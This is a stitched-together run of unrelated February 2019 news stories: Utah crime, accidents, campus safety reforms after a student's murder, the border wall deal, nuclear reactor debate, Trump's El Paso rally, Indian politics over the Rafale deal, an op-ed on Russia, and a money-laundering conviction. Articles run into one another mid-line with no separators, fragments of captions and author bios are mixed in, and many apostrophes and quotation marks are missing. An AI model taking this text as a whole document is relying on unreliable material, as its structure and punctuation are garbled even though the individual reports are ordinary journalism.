"I'm really, really doing things that most humans shouldn't be able to do," Meisner said. "We are absolutely playing these instruments and there is no orchestra  we are the orchestra. We are listening, we are breathing, it's all one thing. It's all very collaborative between the music and the drama."

But even with the challenges and balancing act these actors face, Craven said their love for what they do is undiminished.

"Everybody just has so much fun because, you know, most of us would do this for free," Craven said. "To be paid for it is literally a dream come true."

If you go 

What: Pioneer Theatre Company presents Once

When: Feb. 15-March 2, Monday-Thursday, 7 p.m.; Friday and Saturday, 7:30 p.m.; Saturday matinees, 2 p.m.

Where: Simmons Pioneer Memorial Theatre, 300 S. 1400 East

How much: $44-$66

Phone: 801-581-6961

Web: pioneertheatre.orgLAYTON  Layton police on Tuesday arrested a man suspected of shooting two brothers in Ogden the night before, leaving one dead.

Theron Farmer, 23, is believed to have shot and killed Kameron Johnson, 18, and critically injured Johnson's brother, Eric Johnson Jr., 20, according to police.

Just after 5:30 p.m. Monday, the fatal confrontation happened at a home at 862 W. Lake St. Ogden police do not believe the shooting was random, and said both the victims and Farmer were previously acquainted with each other.

Veronica Johnson, mother of the two men who were shot, said that Kamron, a senior at Ben Lomond High School, aspired to be a sports trainer and buy a Mustang, his favorite car.

He was "excited to graduate, go to college," Johnson said. He was only home at the time of the shooting because he wasn't feeling well, she said.

Layton police found and arrested Farmer Tuesday. A few hours later, Ogden police announced they were searching for an additional suspect in the shooting.

Details about that second suspect were not immediately available.

Tuesday afternoon, police were given information leading them to believe Farmer might be in an apartment in Layton. Layton police went to that apartment and he wasn't there, but officers checked other apartments in the area and eventually found Farmer in an apartment in the Stonehedge apartment complex in the area of 221 N. Fairfield Road.

Layton Police Lt. Travis Lyman said police do not know why Farmer was in the apartment.

"He wasn't willing initially to come out of the apartment, kind of isolated himself in one of the back rooms, so we deployed some gas into the apartment and, given a little time, that convinced him to end up coming out," Lyman said.

Before surrendering to police, Lyman said, Farmer got into the shower to try to get the gas cleaned off. No one was injured in the incident but Farmer was put into an ambulance for decontamination.

Police were able to locate Farmer and get him out quickly, Lyman said. He said Layton police have had previous interactions with Farmer.

Earlier Tuesday, investigators said Farmer should be considered "armed and dangerous."

Johnson said the family right now is looking for answers.

"Don't know why. Why? We don't know why," she said. "He wanted money. That's why Kamron got killed, for nothing."

"They're great kids, and they didn't deserve this. They did not deserve this. Especially Kamron," Johnson said.

In November, Farmer was convicted of forgery and was sentenced in January to time served in jail and a suspended prison sentence.

A no-bail warrant was issued Tuesday for Farmer for violating the terms of his probation in that case.

"The defendant has become a suspect in a homicide and aggravated assault investigation. Attempts to locate the defendant have been unsuccessful," a court document states.

Farmer recently transferred from Farmington to Ogden after being released from jail. Both the Ogden Metro Gang Unit and Adult Probation and Parole were assisting in the search for Farmer, according to a report filed in 2nd District Court.

His history of violence dates back several years, according to court records.

Farmer was arrested Jan. 20, 2018, and booked into the Davis County Jail for investigation of criminal mischief, assault, domestic violence in the presence of a child and violating a protective order. Farmer allegedly got into an argument with his girlfriend at her Bountiful apartment, broke down a door when she tried to hide in a bedroom, and then pushed her into a closet, according to a police affidavit.

He pleaded guilty on Jan. 29, 2018, to violating a protective order, a class A misdemeanor, in exchange for the other charges being dismissed.

Likewise, Farmer was arrested last month on Jan. 7 at the same apartment for investigation of domestic violence in the presence of a child, criminal mischief and two counts of assault for getting into a fight with his girlfriend and a juvenile, a police affidavit states.

He also pleaded guilty on Jan. 29 in that case to assault, a class B misdemeanor.

In February 2018, he was convicted of assault for an incident on Jan. 10, 2018, according to court records.

In 2015, Farmer entered into a plea in abeyance on a felony drug possession charge, pleading guilty. The case was later dismissed after he successfully completed drug court.

He was also convicted of lewdness in a separate case in 2015.MAGNA  Two people recently involved in separate auto-pedestrian accidents in Magna and Midvale have died as a result of their injuries, Unified police announced Tuesday.

About 10:30 p.m. Monday, Harold D. Phillips, 86, of Midvale, was riding his bicycle through the intersection of 480 West and Center Street in Midvale when he was hit by a vehicle and killed, said Unified Police Sgt. Melody Gray. There was a stop sign for Phillips' direction of travel, but investigators were unsure Tuesday if he stopped.

Gray said Phillips was wearing a helmet and an orange reflective vest, but the vest was covered by a black jacket he wore over the top of it. Impairment was not believed to be a factor and no citations were issued to the driver on Monday.

Robert Dewey, 59, of Magna, who was hit by a vehicle on Jan. 30 while crossing the street at 8950 W. Main in Magna, died due to complications from injuries sustained in the accident, Gray said Tuesday.

The man was taken to Intermountain Medical Center in Murray with head trauma after the incident where he remained until his death.

Impaired driving was not suspected in that case and no charges had been filed against the driver as of Tuesday.SALT LAKE CITY  With another potential government shutdown looming, 17 House and Senate members settled on a border wall deal in principle on Monday night  one that would provide funding for a wall along the U.S.-Mexico border, but much less than the amount originally demanded by President Donald Trump.

The deal is "in principle" because it has not yet been finalized or approved.

The deal must pass both the House and the Senate and receive Trumps signature by Friday night in order to avert a second government shutdown three weeks after the longest government shutdown in U.S. history.

According to The New York Times, lawmakers expect to put the finishing touches on the deal as early as Tuesday.

Heres a breakdown of what you need to know about the proposed border wall deal.

Whats in the deal?

The bulk of the proposed deal represents a compromise on two fronts: a border wall and detention facilities.

First, it would allocate $1.375 billion for 55 miles of fencing along the U.S.-Mexico border. Although this is a far cry from the $5.7 billion the president was seeking to construct 200 miles of barrier, it represents a significant compromise on the part of Democrats, who originally refused to allocate any funds at all for a wall, according to the Times.

Trump had also requested that the wall be made of steel and concrete, but the proposed deal calls for bollard fencing, the Times reported. A bollard is a short, thick post, such as those installed on sidewalks to prevent cars from hitting pedestrians, according to Reliance Foundry. Its unclear how tall the posts would be if implemented on the border.

A particularly contentious part of the deal, however, revolved around detention of illegal immigrants.

On Sunday, negotiations stalled when Democrats called for a limit on how much space in detention facilities could be used to detain illegal immigrants arrested within the United States, USA Today reported. Currently, federal law enforcement agency Immigration and Customs Enforcement oversees around 49,000 detention beds for illegal immigrants and asylum seekers. Democrats wanted this number dropped to 34,000, the number funded during the Obama administration, the Times reported.

Democrats wanted to decrease the amount of beds because the lack of detention space would force Immigration and Customs Enforcement to stop doing unnecessary sweeps and roundups of immigrants, instead focusing on "pursuing hardened criminals," according to the Times.

This demand held up negotiations for a while, as Republicans feared that a lack of detention beds would force Immigration and Customs Enforcement to soften their tactics, resulting in a rise in illegal immigration. Ultimately, the Democrats dropped their demand and agreed to fund 40,520 detention beds, the number allocated in the previous budget, the Times reported.

Democrats had hoped that Republicans would compromise on this point after the Democrats agreed to allocate some funding for a wall.

We started at zero on the wall, and we compromised a lot after that, and we are now asking them to change, too, Rep. Lucille Roybal-Allard, D-Calif., told the Times.

When Trump heard about the Democrats demand to decrease the number of detention beds, he tweeted Monday:

The Democrats do not want us to detain, or send back, criminal aliens! This is a brand new demand. Crazy!  Donald J. Trump (@realDonaldTrump) February 11, 2019

In addition, the proposed deal would allocate $1.7 billion for increased border security measures, including technology at ports of entry, an increase in the amount of Department of Homeland Security officers, and humanitarian aid, according to the Times.

The deal would also fund the government through the end of September, The Washington Post reported.

What do party leaders think about it?

House Appropriations Committee Chairwoman Nita Lowey, D-N.Y., who was involved in the negotiations, told The Washington Post that House Speaker Nancy Pelosi, D-Calif., had seen the proposal and approved it.

Republicans and Democrats expressed unity over the idea they dont want to enter another government shutdown.

What brought us back together I thought, tonight, was we didnt want (a shutdown) to happen, said Senate Appropriations Committee Chairman Richard Shelby, R-Ala., who was the lead Republican in the negotiations, the Post reported.

Some may be happy, some may not be happy, Lowey told the Post. We did the best we could.

The negotiators also expressed confidence that party leadership was in support of the deal, according to the Times.

"I don't think Democrats or Republicans want a shutdown. One option or another, we will resolve this," Lowey said, according to USA Today.

Will Trump sign it?

Shelby said he thinks the president will be willing to sign off on the proposed deal, and other conservative lawmakers echoed this sentiment, the Times reported.

But prominent Republicans have expressed disdain for the deal, which could put pressure on Trump to not sign it.

Any Republican that supports this garbage compromise, you will have to explain, said Sean Hannity, a Fox News host and Trump confidant, as part of commentary he gave on air during the president's rally in El Paso, Texas, on Monday. Look at this crowd. Look at the country. Look at CBS News, even they say 72 percent of American people want the heroin to stop, the cartels to stop, the gang members to stop and those that wish us ill.

During the El Paso rally, Trump said, Just so you know  were building the wall anyway.

He also alluded to Democrats desire to limit the number of detention beds during the rally, saying, I will never sign a bill that forces the mass release of violent criminals into our country. And I will never abolish or in any way mistreat our great heroes from ICE and Border Patrol and law enforcement.

According to a 2018 CNN fact-check, Immigration and Customs Enforcement arrested 105,140 illegal immigrants in fiscal year 2018 who were convicted criminals. That's out of a population of about 10.7 million illegal immigrants who currently reside in the U.S., according to CNN. As of 2018, there were 83,573 prison inmates who are illegal immigrants, which is less than 6 percent of the total prison population, CNN reported.

If Trump doesn't sign the bill, the government will enter another shutdown, and lack of funds will affect myriad agencies, including the Department of Homeland Security, the Treasury, the Environmental Protection Agency, and the Internal Revenue Service.SALT LAKE CITY  Conducting proper background checks. Improved domestic violence training. Improved communication between departments on campus and outside law enforcement agencies.

These are just some of the many steps that have already been taken to make the University of Utah a safer campus, according to U. President Ruth Watkins and U. Department of Public Safety Chief Dale Brophy.

Watkins, Brophy and other school leaders delivered a presentation to the University of Utah board of trustees on Tuesday, updating members on the implementation status of 30 recommendations made by an independent review team following the on-campus murder of student Lauren McCluskey in October.

The meeting was held, coincidentally, on what would have been McCluskey's 22nd birthday, something that did not go unnoticed by her mother, Jill McCluskey, who tweeted Monday night that she learned of the board meeting through the media.

"I have two questions: 1) Did you know this meeting is on her birthday? 2) Will you admit that you didn't respond appropriately to Lauren, which led to her death and take disciplinary action?" she wrote on Twitter.

On Tuesday, when asked by board Vice-Chairman Phillip W. Clinger if those directly involved in the McCluskey case had been held properly accountable, Watkins said yes, but also said no one had been fired.

"Ive had many, private, difficult conversations about this situation about corrective actions and about our expectations moving forward. The actions that we have taken have been guided by my best judgment and by what I believe will ultimately make this a safer campus moving forward, as safe a campus as we can ensure.

"I do not believe it serves the ultimate mission of enhancing campus safety to fire anyone who acted in good faith and is capable and deeply committed to doing better. At the same time, I fully expect accountability and compliance with these actions moving forward, Watkins said.

Likewise, Brophy said none of his officers had been fired. As he has before, he declined to say whether anyone has been disciplined, stating that the department does not talk about personnel matters.

Several university officials acknowledged Lauren's birthday as they updated the board Tuesday on what has been done to improve the safety for students since the tragedy.

McCluskey was shot and killed by Melvin Shawn Rowland, 37, while walking home from class near her dorm after weeks of Rowland's attempts to extort her. From Oct. 10 until her death, McCluskey made multiple calls to the U. police department. She even called Salt Lake police in hopes of quicker action.

But university police never conducted a proper background check on Rowland, who was on the Utah Sex Offender Registry and had served many years in the Utah State Prison, and at least one call made by McCluskey to the officer assigned to her case went to voicemail because the officer was not on duty.

A three-member independent review panel found numerous mistakes were made by the university and by campus police, but concluded that it was impossible to say whether McCluskey's death could have been prevented. McCluskey's parents, however, have been very vocal since their daughter's killing in expressing their belief that her death was preventable and the university didn't do enough to help her.

The independent report also found at least 30 areas that could use improvement on campus and with the police department to help protect students. On Tuesday, Watkins, Brophy and others gave the board of trustees an update on each of those 30 points.

Sixteen of those 30 recommendations involved the U. police department.

"Some of those larger issues were our systems werent talking to each other. If you had a security interaction, it wasnt in the same database as a police interaction. Weve fixed that and thats no longer an issue for us, Brophy said Tuesday.

In addition to better communication with other departments on campus, Brophy said the university has approved $600,000 for the department to hire six new officers, which includes three positions that were vacant at the time of McCluskey's death.

Brophy said his department is hiring a victim advocate and a community relations specialist and that the first round of interviews for those positions is scheduled for Thursday. Two detectives and an administrative lieutenant were also being hired, which Brophy hoped would soon form a new specialized unit for interpersonal violence.

In addition, the department recently received training from the Salt Lake City Police Department's sergeant over the domestic violence unit, and has entered into an agreement with the Utah Domestic Violence Coalition to receive training on the Lethality Assessment Program  a set of questions officers ask a victim when they respond to a domestic violence call to determine the threat level of that person being in the home. The program has become commonplace in recent years for most law enforcement agencies in Salt Lake County.

Brophy said his officers are also receiving training on all criminal databases.

"How to use them, where to find them, and then actually mandating using them when weve identified a suspect in any type of criminal case, he explained.

Furthermore, Brophy said his department now has improved communications with Adult Probation and Parole, including access to a phone number that reaches someone around the clock  something the department did not have at the time of McCluskey's death. Likewise, the chief said all domestic or interpersonal calls his office receives will get a return call that day rather than sit in an in-basket. Dispatchers will be able to reach an officer at any hour of the day, he said.

Other measures being taken to improve safety around campus that don't directly involve the police department include replacing students who manage community desks with security staff, hiring an outreach coordinator for student housing, updating some of the older student housing areas with more secure doors and security cameras, and just raising awareness overall with students.

"When I read the review teams report and saw these deficiencies, I was deeply concerned. Im making it my personal and professional responsibility to see that these shortcomings are addressed quickly and reasonably, said Barb Snyder, the vice president of Student Affairs.

Snyder, who has already announced her retirement, had to pause and collect herself as she talked about the safety of students.

"I want part of my legacy at the U. to be having contributed to a safer campus for every student, she said.

Likewise, Watkins  who again called the McCluskey killing an "absolute tragedy" and stated the campus continues to mourn  said she will abide by all of the review panel's recommendations.

"Im committed to addressing each of the shortcomings identified," she said. "Im taking personal responsibility to see that every one of the review teams 30 recommendations is put into place as quickly as possible."

When asked if he had had contact with the McCluskey family since their public criticisms of the department, Brophy said a deputy chief still updates the family on the case when there are updates to give. When asked if that means the investigation was still open, the chief said yes, but declined to say what police are still investigating.

As for Tuesday being Lauren McCluskey's birthday, the chief said he imagined it was a hard day for her parents.

"I cant imagine how difficult it is for her parents. I understand their frustration, I understand their anger. I cant even imagine how hard it is and how difficult it is for them, he said.SALT LAKE CITY  A resolution encouraging development of advanced nuclear reactor technology for Utah's future energy needs is on the docket for possible passage this session, but critics say it would be financial folly for future ratepayers.

HEAL Utah, a local watchdog organization and advocate for clean energy, held a press conference Tuesday at the state Capitol to detail why small modular reactor technology is not financially viable.

The media event was held the same day as the Millennial Nuclear Caucus was hosted at the Capitol by the U.S. Department of Energy and the Utah Associated Municipal Power Systems, both of which are pursuing a small modular reactor project at the Idaho National Laboratory.

NuScale's planned 720-megawatt, 12-module modular nuclear power plant is in the design certification phase before the U.S. Nuclear Regulatory Commission and is scheduled to go online in 2026.

The Utah-based municipal energy coalition, with members in six states, is looking to shore up a carbon-free energy source for its baseload of power in light of declining domestic coal consumption and uncertain regulatory requirements.

The modular design by NuScale is a closed-loop, self-cooling system that proponents say is far cheaper than its traditional counterparts and incapable of a meltdown.

But Peter Bradford, a professor at Vermont Law School and a former member of the U.S. Nuclear Regulatory Commission, said he doesn't think the NuScale technology is capable of delivering competitive per-kilowatt-hour costs.

Even at the Utah coalition's contracted cap of 6.5 cents per kilowatt-hour, the energy market will not favor prices that high, he said.

Bradford, who worked for years in regulated utility markets, said lowballing costs has been characteristic of the nuclear energy industry nearly since its inception.

He added he is not opposed to nuclear energy because of its waste or its safety record, but rather the huge cost overruns accompanying the most recent projects in South Carolina and Georgia.

States or utilities that pursue an "all-of-the-above" strategy do so unwisely, he added, because it is too pricey.

"We can't afford to do everything," he said, likening the pursuit to fighting world hunger with caviar.

But proponents of the small modular reactor technology believe it is game changing for the energy sector to the extent there is a global race playing out to see which country successfully deploys it first.

The U.S. Energy Department has pumped more than $220 million into the Idaho project and has been encouraging throughout the licensing process, the coalition's general manager, Doug Hunter, said.

Just recently, the federal agency inked an agreement to use two of the possible 12 modular reactors at the Idaho laboratory  one for energy needs and the other for further development of the science.

Hunter and others believe NuScale can deliver attractive and stable energy prices for ratepayers for decades to come  stability that is welcome given the volatility of carbon-based energy streams.

Mark Nichol, director of new reactor deployment with the Nuclear Energy Institute, said the modular nuclear technology is price competitive through public private partnerships  like incentives also offered to solar and wind  that will allow it to play in the marketplace against natural gas.

"This is nothing new and nothing special for nuclear," he said. "There are also intangible benefits that make it difficult to quantify."

Hunter said the association has investments in renewables, but wants to add another source of energy to its portfolio.

The Millennial Nuclear Caucus was to host a panel discussion later Tuesday with Hunter, Nichol and Suzanne Jaworowski, a senior adviser with the U.S. Department of Energy.

Other panelists included Laura Nelson, Utah Gov. Gary Herbert's energy policy adviser, and Sen. Curt Bramble, R-Provo, sponsor of SCR06.PROVO  A Mexican restaurant that erupted in flames Monday night in Provo is a total loss, and so are several second-story offices above, fire officials said Tuesday.

The cause of the fire wasn't known, but investigators don't believe there was any foul play.

The blaze began in the basement of Los Hermanos, making it difficult and dangerous for crews to battle. One firefighter sustained a minor shoulder injury after falling down stairs, Provo Fire and Rescue officers said in a Facebook post.

The restaurant at 71 E. Center had been closed Monday for construction when crews were called to the blaze about 7 p.m. A neighboring apartment building was evacuated twice as firefighters battled flames shooting through the roof. Residents took shelter from the cold in a Utah Transit Authority bus brought to house them temporarily.

A portion of Center Street remained closed Tuesday as firefighers put out hot spots.SALT LAKE CITY  President Donald Trump held his first rally of the year Monday night in El Paso, Texas, using the backdrop of the border to make a case for a wall and increased immigration enforcement.

But one of his most talked-about revelations didnt have anything to do with the border. Trump said he just doesnt have time for mans best friend.

I wouldnt mind having one, honestly, but I dont have any time, Trump said at the rally.

While he seemed impressed while describing the drug-detecting skills of the U.S. Secret Service's German shepherds, Trump added that he would "feel a little phony" walking a dog on the White House lawn.

Trump said a lot of people have advised him to get a dog because its good politically.

I said, Look, thats not the relationship I have with my people, he said.

Trump currently has no pets. If he remains pet-free, he will break a long tradition of presidential pet ownership, The Associated Press reported.

Barack Obama had two Portuguese water dogs named Sunny and Bo, George W. Bush had Scottish terriers called Barney and Miss Beazley, and Bill Clinton had a cat named Socks and a chocolate Labrador retriever named Buddy, according to The Associated Press. Previous presidents also had pets, the AP reported.

Vice President Mike Pence, on the other hand, has plenty of furry friends: Harley, an Australian shepherd, a cat named Hazel, and a rabbit called Marlon Bundo.

Beyond his canine confession, here are three other takeaways from Trump's rally in El Paso:

1. A Trump supporter attacked a BBC camera operator

A BBC camera operator was attacked by a supporter of President Trump during the rally, according to the news outlet.

BBC cameraman Ron Skeans was violently pushed and shoved by a member of the crowd while covering a President Trump rally in Texas last night, a BBC spokesman told The New York Times.

This is the shameful moment when my cameraman Ron Skeans was attacked at an @realDonaldTrump rally in El Paso last night - warning this video contains strong language. Happily Ron is fine. #TrumpElPaso pic.twitter.com/Ay5DYT6gjP  Gary O'Donoghue (@BBCBlindGazza) February 12, 2019

A 36-second clip from Skeans camera during the shove went viral Tuesday, showing a protester in a Make America Great Again cap yelling at members of the media while being restrained by someone appearing to be part of the rallys security team. The crowd shifts from chanting USA to Let him go as the man struggled to free himself.

The protester has not yet been publicly identified, according to the The New York Times.

Trump apparently saw the attack and continued his speech and gave a thumbs up when he saw the crew was OK, Fox News reported. Skeans returned the gesture  giving a green light to continue with the rally, according to Fox.

The BBC condemned the attack. It is clearly unacceptable for any of our staff to be attacked for doing their job, the statement on Tuesday said.

Trump has called journalists the enemy of the people, and he used the term Fake News on Twitter at least 174 times in 2018 alone, The New York Times reported.

2. Beto ORourke fact-checked Trumps rally live from across the street

Beto ORouke, the Texas Democrat who came close to unseating Sen. Ted Cruz, held his own event across the street as Trump took the stage in El Paso.

In front of a crowd of thousands, ORouke criticized Trumps proposed border wall and his stance on immigration generally.

We have so much to give, so much to show the rest of the country, ORourke said. Here, a city that has been one of the safest in the United States of America for 20 years and counting. ... Walls do not save lives. Walls end lives.

He also fact-checked Trumps speech in real time, as the president tried to drum up support for the wall by alluding to the dangers of violent criminals crossing the border, according to Vox.

The U.S. cities of the Mexican-American border are much safer than the U.S. cities in the interior of the United States of America, he said. Those comments are based on immigration statistics, including the fact that states with more unauthorized immigrants have slightly less violent crime, not more, and that immigrants commit fewer crimes than native-born Americans.

In last weeks State of the Union, Trump specifically mentioned El Paso.

The border city of El Paso, Texas, used to have extremely high rates of violent crime  one of the highest in the country, and considered one of our nations most dangerous cities, Trump told Congress. Now, with a powerful barrier in place, El Paso is one of our safest cities.

ORourke and the mayor of El Paso, Dee Margo, disputed Trump's statement. El Paso has never been one of the most dangerous cities in the United States, Fox News reported, and has consistently had the second-lowest violent crime rate of similarly sized cities, a ranking it received both before and after a partial fence was built along the border in 2008.

(Read more: President Trump says 'walls work.' Here's why he's heading to El Paso to prove it.)

O'Rourke has spent the last few months pushing a social media campaign against Trumps immigration agenda, interviewing immigrants and children of immigrants on his Instagram and Facebook pages  the most viral of which was his dental hygienist.

While ORourke's 2020 ambitions remain unclear, his positioning on the issue has kept him in the national spotlight, according to Vox.

3. What the rally can tell us about the 2020 election

Trumps rally remarks hit on other themes that will likely be defining messages in the 2020 election, including abortion and socialism, USA Today reported.

"Theyre becoming the party of socialism, late-term abortions, open borders and crime," Trump said of the Democrats.

While Democrats have supported additional federal funding for border security, they oppose the border wall Trump proposed during his 2016 campaign.

Trump's focus on socialism is a response to progressive Democratic presidential candidates who have proposed Medicare-for-all health care systems or who have run on environmental platforms intended to lower carbon emissions, according to USA Today.

The president specifically mocked the "Green New Deal, saying it sounds like a high school term paper that got a low mark."The BJP hit out at Gandhis wild allegations as shamelessness and irresponsible and blasted him for abusing an honest Prime Minister.

New Delhi: Continuing his attack on the Narendra Modi government over the Rafale jet deal, Congress president Rahul Gandhi on Tuesday accused the Prime Minister of treason for acting as Anil Ambanis middleman, prompting the BJP to claim that the Congress chief is working as a lobbyist for foreign firms and that the Gandhi family has a history of looting the country.

Escalating the war of words between the Opposition party and the ruling BJP over the deal, Mr Gandhi released to media a copy of an email that he said revealed that the industrialist had visited Paris and met the French defence minister 10 days before the Prime Minister went there and announced the 36-jet deal with France. This, he said, was in violation of the Official Secrets Act.

The Prime Minister has compromised national security, he has done what spies do Mr Modis action puts him in jail, Mr Gandhi said, adding that the email dated March 28, 2015, purportedly written by Airbus executive Nicolas Chamussy to three recipients had the subject line Ambani.

The Prime Minister is the only other person who knows about the deal and has informed Anil Ambani about the deal. The Prime Minister is acting as Anil Ambanis middleman, Mr Gandhi alleged and called for a criminal investigation into the matter.

Mr Gandhi claimed the email showed Mr Ambani visited then French defence minister Jean-Yves Le Drians office and mentioned an MoU in preparation and the intention to sign during the PM visit (to France).

The Congress president asked how Mr Ambani knew about the deal and mentioned it in the French defence ministers office when even then foreign secretary S. Jaishankar and then defence minister Manohar Parrikar had no information on it.

The Congress president also rejected the Comptroller and Auditor General (CAG) report on the Rafale deal, and dubbed it Chowkidar Auditor General report.

The BJP rejected the charge, saying Mr Gandhi is relying on a wrong email that was purportedly written by an Airbus executive referring to a helicopter deal and not Rafale. Reliance Defence also took the same stand.

The BJP hit out at Mr Gandhis wild allegations as shamelessness and irresponsible and blasted him for abusing an honest Prime Minister. The ruling party also accused the Opposition party of peddling lies on the Rafale deal to save a sinking dynasty and manufacturing a new falsehood every day.

Dubbing Mr Gandhi a lying machine, Union minister Ravi Shankar Prasad asserted that the email shared by the Congress president referred to a chopper deal and not the Rafale purchase. He put Airbus in the dock, saying the company is under a needle of suspicion in several deals signed during the UPA era.

Mr Prasad said, Let Rahul Gandhi explain where did he get internal email of Airbus. Who is supplying him? There cannot be a bigger thing than this that he is working as a lobbyist for foreign firms.

In its response to Mr Prasads remarks, Airbus spokesperson said, We do not comment on any ongoing investigation. We have cooperated with the Indian authorities in the past and will continue to do so.

Another Union minister Arun Jaitley, in an article on his Facebook page, said, How many lies are necessary to be peddled to save a sinking dynasty? The contagion effect of falsehood is fairly large. It appears to have spread to other colleagues in the Mahajhootbandhan.

In relation to the Rafale deal where thousands of crores of public money has been saved, a new falsehood is manufactured on a daily basis. The latest is in relation to the present CAG and his participation in the decision making process of Rafale, he said on the eve of the tabling of CAG report on the jet deal in Parliament.

Rejecting allegations of conflict of interest of CAG Rajiv Mehrishi, Mr Jaitley said the official never dealt with any file or paper relating to the fighter jet deal during his tenure in the finance ministry in 2014-15.Major media focuses on President Donald Trumps desire to withdraw United States military forces from Afghanistan and Iraq, and the very powerful backlash in Congress led by Senate Majority Leader Mitch McConnell, R-KY. We ignore Russian gains.

The U.S. has few troops in either country. In Iraq, where other military powers have forces on the ground, the 2,000 U.S. forces are enough to spark a major conflict. There has been direct combat with Russian forces, which fortunately did not escalate.

Meanwhile, early in January President Vladimir Putin of Russia and Benjamin Netanyahu of Israel talked, shared warm words about mutual interests, and vowed significantly to increase diplomatic and military cooperation in Syria. Russia is increasing influence in the Mediterranean and Middle East region, leading to rapprochement with Israel, traditionally a close ally of the U.S. and former enemy of Russia and the Soviet Union.

On Feb. 14, Russia hosts a leadership summit with Iran and Turkey in the Black Sea city of Sochi. Putin took the initiative in hosting a Moscow summit of leaders from these nations just before Christmas in 2016.

The decision by Russia in 2015 to intervene with military force in the brutal combat in Syria furthered this expansion of regional influence. As a result, Moscow has greatly increased the staying power of the beleaguered regime of Syria President Bashar al-Assad.

Historically, Moscow has been preoccupied with secure national borders, especially in Eastern Europe, and generally abstained from sending military forces long distances. Putin has now abandoned this strongly rooted caution. He has become a daring military gambler in various areas.

Russia has a long history of involvement in the volatile region, especially Syria. The profoundly serious Suez Crisis of 1956 resulted in sharp rupture among western allies, as the Eisenhower administration refused to support a combined military assault by Britain, France and Israel to retake the Suez Canal and seize the Sinai Peninsula from nationalist Egypt.

From that time until the end of the Cold War, Moscow had significant influence. Syria developed close military partnership with Egypt, and the two nations went to war together against Israel in October 1973. The Yom Kippur War also witnessed American-Soviet nuclear confrontation.

President Richard Nixon aggressively ensured essential aid got through to Israel, moved B-52 bombers from Guam to the U.S., placed the Armys 82nd Airborne Division on alert and pursued skillful diplomacy. Stability returned.

President Jimmy Carter then brokered Egypt-Israel peace. The Camp David accords endure.

President George H.W. Bush and Secretary of State James Baker orchestrated the extraordinarily challenging and successful international military effort to liberate Kuwait after invasion by Iraq. They also initiated complex multilateral negotiations seeking to achieve formal Israeli-Palestinian reconciliation.

The Soviet Union and U.S. cosponsored the 1991 Madrid Conference. Resulting momentum led to the Oslo Accords for Palestinian self-government.

President Barack Obama declared use of poison gas by Damascus would be a red line, implying military retaliation. When poison gas was used, he did nothing. Trump unilaterally moved the U.S. embassy in Israel from Tel Aviv to Jerusalem, as desired by the Israel government, but received nothing in return.

George H.W. Bush and Baker left office with the U.S. having unparalleled promising influence in the region. Since then, absence of sustained disciplined leadership has almost completely reversed this situation.

In the future, serious evaluation of American foreign policy since that first Bush administration is likely to be harsh  and deserved.SP veteran's stance is being perceived as a jolt to efforts of Akhilesh Yadav who has joined hands with BSP to counter BJP in elections

I congratulate the Prime Minister because he has tried to take everybody along. I want to say that all members must win and come again and Narendra Modi should become the Prime Minister again, Mulayam Singh Yadav said in Lok Sabha on Wednesday of the budget session. (Photo: File)

New Delhi: Samajwadi Party (SP) stalwart Mulayam Singh Yadav on Wednesday praised Prime Minister Narendra Modi and wished that he returns to the top post again after the upcoming Lok Sabha polls.

Mulayam Singh Yadav, whose party led by his son Akhilesh Yadav is campaigning to oust Modi, said the Prime Minister has tried to take everybody along.

I congratulate the Prime Minister because he has tried to take everybody along. I want to say that all members must win and come again and Narendra Modi should become the Prime Minister again, he said in Lok Sabha on the concluding day of the budget session.

The SP veteran's stance is being perceived as a jolt to the efforts of Akhilesh Yadav who had joined hands with the BSP to counter the BJP in the general elections.

In January, the SP and BSP forged an alliance ahead of the Lok Sabha polls posing a formidable challenge to the ruling BJP at the Centre. Among all states, Uttar Pradesh has the maximum number of 80 Lok Sabha seats and plays a crucial role in government formation at the Centre.The Rev. Michael Robinson is a resident of Lansdowne and serves as senior pastor of Greater Enon Missionary Baptist Church in Philadelphia. He is a national award-winning college administrator, and a 2017 recipient of the Industry Icon Award by the Philadelphia Inquirer.Sections of the Mariner East 2 pipeline near Devon Drive in Uwchlan. The pipeline runs from Delaware County, across Berks and Chester counties, and continues for the entire length of Pennsylvania.Editor of Town Talk, News & Press of Delaware County

Call me wife, mom, daughter, granny, writer, neighbor, sister, aunt, editor, Godmother, niece, friend, acquaintance, co-worker, cousin, news junkie, diva, funmeister... call me them all, just call, text or e-mail me-- especially when there's "a scoop!"Courts

Chester man gets life in prison for 2017 murderHyderabad: Ravinder Reddy Gudipati of Karimnagar, who settled almost four decades ago in the US and played a key role in circulating drug mafia money, was convicted by a federal jury in Laredo, Texas, in a multi-million dollar money laundering scam along with five others. Money derived from the sale of drugs in the US were laundered through businesses in Laredo in order to return it to Mexican drug dealers.

Ravinder Reddy is said to be a close relative of a former TRS minister who lost in the recent state election. A source said the Ravinder Reddy and wife Aruna Gudipati had invested in the real estate business owned by the TRS leader.

Some of the investments are in Hyderabad. The family stayed in Nutley, New Jersey. Ravinder Reddy and two other Indian-Americans were among six people convicted for their role in the scheme, the US justice department said. Ravinder Reddy, 61; Harsh Jaggi, 54 and Neeru Jaggi, 51, all from Laredo, Texas, were convicted of a money-laundering conspiracy following a five-week jury trial.

Along with the Indian-American trio, Adrian Arciniega-Hernandez, 36, of Nuevo Laredo, Mexico; Adriana Alejandra Galvan-Constantini, 36 and Luis Montes-Patino, 57, both from Irving, Texas, were convicted, Assistant Attorney General Brian Benczkowski of the justice departments criminal division said.

The prosecution charged Ravinder Reddy, owner of a chain of perfume stores called NYSA Impex LLC, and Harsh and Neeru Jaggi, owners of El Reino International Inc, with acceptance of loose bulk-cash, even after being told it was drug money. According to the evidence presented at the trial, from 2011 through 2013, Galvan-Constantini, Montes-Patino and other co-conspirators helped to move millions of dollars derived from the sale of drugs throughout the US, including New York, Kentucky, North Carolina, Illinois, Mississippi and multiple cities in Texas to Laredo, Texas.

The US currency was moved by couriers, including Galvan-Constantini and Montes-Patino, via cars, commercial buses, commercial planes and a private plane in bulk, hundreds of thousands of dollars at a time. The money, in heat-sealed packs, uneven stacks bound by rubber bands, or loose US currency, arrived in plastic bags, cloth bags, suitcases, backpacks and even cereal boxes.

The money was then distributed among downtown Laredo, Texas perfume stores, including El Reino International Inc of Jaggis. and NYSA Impex LLC of Ravinder Reddy.

The store owners failed to file Form 8300s which was required when more than $10,000 in cash is received by a business or filed Form 8300s which omitted pertinent information such as the name of the courier who brought the bulk cash.

